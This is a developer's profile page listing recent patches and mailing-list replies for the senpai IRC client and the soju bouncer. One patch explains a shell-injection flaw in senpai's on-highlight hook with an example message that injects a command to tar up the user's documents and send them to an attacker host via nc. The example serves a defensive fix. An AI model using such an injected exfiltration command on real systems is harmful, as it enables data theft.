~yerinalexey

Russia

https://yerinalexey.srht.site

Very young low-level developer. Mainly Rust, Zig and Go. Currently working on secret project.

~yerinalexey/public-inbox

Last active 3 months ago
View more

Recent activity

[PATCH soju] contrib/weechat: fix typo 8 days ago

From Alexey Yerin to ~emersion/soju-dev

---
 contrib/weechat.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contrib/weechat.md b/contrib/weechat.md
index c835ffa..57aac68 100644
--- a/contrib/weechat.md
+++ b/contrib/weechat.md
@@ -1,7 +1,7 @@
# Weechat configuration

By default, WeeChat doesn't request any IRCv3 capability. To enable all
supported capabilities has of WeeChat 3.1:
supported capabilities as of WeeChat 3.1:
[message trimmed]

[PATCH senpai] Use environment variables for on-highlight 10 days ago

From Alexey Yerin to ~taiite/public-inbox

Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""
[message trimmed]

Re: [PATCH senpai] Use log.Fatalln instead of Panicln 12 days ago

From Alexey Yerin to ~taiite/public-inbox

On Fri Apr 30, 2021 at 11:28 AM MSK, Hubert Hirtz wrote:
> On Thu, 29 Apr 2021 20:00:57 +0300, Alexey Yerin wrote:
> > > The error handling for "senpai.LoadConfigFile" however needs more
> > > than just a call to "log.Fatal", especially for new users. Maybe
> > > print the error and then a message saying senpai needs a
> > > configuration file by default? In the future there might be
> > > command-line options to specify the nickname, the server address,
> > > etc.  
> > 
> > Maybe we can see what error is reported and print a helpful advise
> > like "make sure your configuration is properly formatted" or "the
> > configuration file at ~/.config/senpai/senpai.yml is required". What
> > do you think?
>

Re: [PATCH senpai] Use log.Fatalln instead of Panicln 12 days ago

From Alexey Yerin to ~taiite/public-inbox

On Thu Apr 29, 2021 at 2:23 PM MSK, Hubert Hirtz wrote:
> On Thu, 29 Apr 2021 13:06:35 +0300, Alexey Yerin wrote:
> > It's generally preferred to do an os.Exit(1), which is what
> > log.Fatalln does, instead of a panic.
>
> IMO it's OK for "os.UserConfigDir" and "senpai.NewApp" to call "panic"
> on error. They both should not fail, and "panic" also exits the
> program with a non-zero exit code and provides useful debugging info.

Yeah, that makes sense.

> The error handling for "senpai.LoadConfigFile" however needs more than
> just a call to "log.Fatal", especially for new users. Maybe print the
> error and then a message saying senpai needs a configuration file by

[PATCH senpai] Use log.Fatalln instead of Panicln 12 days ago

From Alexey Yerin to ~taiite/public-inbox

It's generally preferred to do an os.Exit(1), which is what log.Fatalln
does, instead of a panic.
---
 cmd/senpai/main.go | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/cmd/senpai/main.go b/cmd/senpai/main.go
index d428ccf..6eb49b3 100644
--- a/cmd/senpai/main.go
+++ b/cmd/senpai/main.go
@@ -28,21 +28,21 @@ func main() {
	if configPath == "" {
		configDir, err := os.UserConfigDir()
		if err != nil {
[message trimmed]

[PATCH senpai] Use path.Join to construct config file path 12 days ago

From Alexey Yerin to ~taiite/public-inbox

It would make it work on non-Unix systems and also handle things like
.. in the configuration option
---
 cmd/senpai/main.go | 3 ++-
 cmd/test/main.go   | 3 ++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/cmd/senpai/main.go b/cmd/senpai/main.go
index 5f7933d..d428ccf 100644
--- a/cmd/senpai/main.go
+++ b/cmd/senpai/main.go
@@ -5,6 +5,7 @@ import (
	"log"
	"math/rand"
[message trimmed]

[PATCH senpai] Make mouse support optional 14 days ago

From Alexey Yerin to ~taiite/public-inbox

To not break existing users, mouse is enabled by default but you have an
option to disable it with "mouse: false" in your
/.confg/senpai/senpai.yaml.
---
 app.go           | 6 ++++++
 config.go        | 1 +
 doc/senpai.5.scd | 3 +++
 ui/ui.go         | 5 ++++-
 4 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/app.go b/app.go
index 650a4d8..5a57c01 100644
--- a/app.go
+++ b/app.go
[message trimmed]

[PATCH senpai] Make sure app.s is not nil when issuing quit 14 days ago

From Alexey Yerin to ~taiite/public-inbox

Prior to this, when the connection is lost, issuing /quit was causing a
segfault.
---
 commands.go | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/commands.go b/commands.go
index 6be50ed..fee0571 100644
--- a/commands.go
+++ b/commands.go
@@ -277,7 +277,9 @@ func commandDoQuit(app *App, buffer string, args []string) (err error) {
	if 0 < len(args) {
		reason = args[0]
	}
[message trimmed]

[PATCH senpai] editor: Ctrl+{Right,Left} moves cursor by words 14 days ago

From Alexey Yerin to ~taiite/public-inbox

A very useful readline feature when combined with ^W can be a really
quick way to reformat a sentence, which is what I do on IRC quite often.
---
 app.go       |  4 ++++
 ui/editor.go | 31 +++++++++++++++++++++++++++++++
 ui/ui.go     |  8 ++++++++
 3 files changed, 43 insertions(+)

diff --git a/app.go b/app.go
index 6875987..650a4d8 100644
--- a/app.go
+++ b/app.go
@@ -399,6 +399,8 @@ func (app *App) handleKeyEvent(ev *tcell.EventKey) {
		if ev.Modifiers() == tcell.ModAlt {
[message trimmed]

[PATCH soju v2] Makefile: mark soju and sojuctl as .PHONY 14 days ago

From Alexey Yerin to ~emersion/soju-dev

Otherwise running `make` didn't do anything on a non-clean state. Go
deals with changed files automatically, and there's no real need to
explicitly specify them.
---
 Makefile | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Makefile b/Makefile
index 79face4..bcf4e07 100644
--- a/Makefile
+++ b/Makefile
@@ -28,3 +28,5 @@ install: all
	cp -f soju sojuctl $(DESTDIR)$(PREFIX)/$(BINDIR)
	cp -f doc/soju.1 $(DESTDIR)$(PREFIX)/$(MANDIR)/man1
[message trimmed]